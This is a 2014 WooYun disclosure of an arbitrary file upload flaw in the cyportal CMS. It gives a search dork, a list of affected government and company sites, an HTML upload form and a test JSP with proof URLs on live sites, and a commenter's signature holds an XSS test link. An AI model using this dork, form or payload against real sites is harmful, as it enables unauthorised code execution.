当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-071964

漏洞标题：某建站系统通用型文件上传导致任意代码执行

相关厂商：cncert国家互联网应急中心

漏洞作者： Coody

提交时间：2014-08-11 19:15

修复时间：2014-11-09 19:16

公开时间：2014-11-09 19:16

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-11： 细节已通知厂商并且等待厂商处理中
2014-08-16： 厂商已经确认，细节仅向厂商公开
2014-08-19： 细节向第三方安全合作伙伴开放
2014-10-10： 细节向核心白帽子及相关领域专家公开
2014-10-20： 细节向普通白帽子公开
2014-10-30： 细节向实习白帽子公开
2014-11-09： 细节向公众公开

简要描述：

文件上传导致任意代码执行漏洞(全版本通杀)

详细说明：

技术支持：新禾科技
版权所有:河北新禾科技(集团)有限公司 电话:0311-85265566


百度dork： inurl:cyportal

搜索的部分案例：
http://www.hbsrfb.gov.cn/cyportal/ 	保定市人防办公室 
http://www.sjzkj.gov.cn/cyportal/	石家庄科技
http://www.hbjx.com.cn/cyportal2.0/	河北津西钢铁集团
http://www.sjzkj.gov.cn/cyportal/	中国电子科技集团公司第十三研究所
http://www.hebdj.gov.cn/cyportal/	河北党建网
http://www.hbkp.gov.cn/cyportal/	河北科普网
http://www.bdhb.gov.cn/cyportal/	保定环境保护局
http://www.xtshbj.gov.cn/cyportal1.3/	邢台市环保局
http://www.hebkjxx.cn/cyportal1.3/	河北省会计信息网－廊坊市
http://www.sjzhb.gov.cn/cyportal2.3/	石家庄市环保局
http://www.qhdcz.gov.cn/cyportal/	秦皇岛市财政局
http://www.hebkjxx.cn/cyportal1.3/	河北省会计信息网－邢台市
http://www.xtcz.gov.cn/cyportal1.1/	邢台财政信息网


通过反编译 TemplateImageUpload.class ,得知上传后的文件路径为 /images/uploadImage/

QQ图片20140811175028.jpg


本地构造上传

<form method='post' action='http://目标站点/cyportal版本号/TemplateImageUpload'  enctype="multipart/form-data" > 
  <input type="file" id="file" name="test" style="height:20px;BORDER: #8F908B 1px solid;"/>
<button type=submit value="getshell">getshell</button> </form>


上传的文件 wooyun.jsp 内容为：

<%
out.print("just4test....From WooYun.Org");
%>

漏洞证明：

这里给出几个测试结果(各个版本抽样)：
http://www.hebkjxx.cn/cyportal1.3/images/uploadImage/wooyun.jsp

QQ图片20140811175742.jpg


http://www.sjzhb.gov.cn/cyportal2.3/images/uploadImage/wooyun.jsp

QQ图片20140811175927.jpg


http://www.xtcz.gov.cn/cyportal1.1/images/uploadImage/wooyun.jsp

QQ图片20140811180000.jpg


http://www.hbjx.com.cn/cyportal2.0/images/uploadImage/wooyun.jsp

QQ图片20140811180026.jpg

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-08-16 10:13

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-08-11 19:17 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    大牛来了！

  2. 2014-08-11 19:28 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    求首页啊，@xsser @疯狗

  3. 2014-08-11 19:40 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @Coody 黑阔来了，大家快跑！

  4. 2014-08-11 19:50 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @U神 …

  5. 2014-08-11 21:46 | farmer ( 普通白帽子 | Rank:491 漏洞数:58 | 金杯银杯不如老百姓的口碑)

    求带

  6. 2014-08-11 22:01 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    黑阔，你好！我是小白，，

  7. 2014-08-12 05:32 | webshell ( 实习白帽子 | Rank:58 漏洞数:18 | 没有伞的孩子必须努力奔跑。)

    黑阔，你好！黑阔，再见！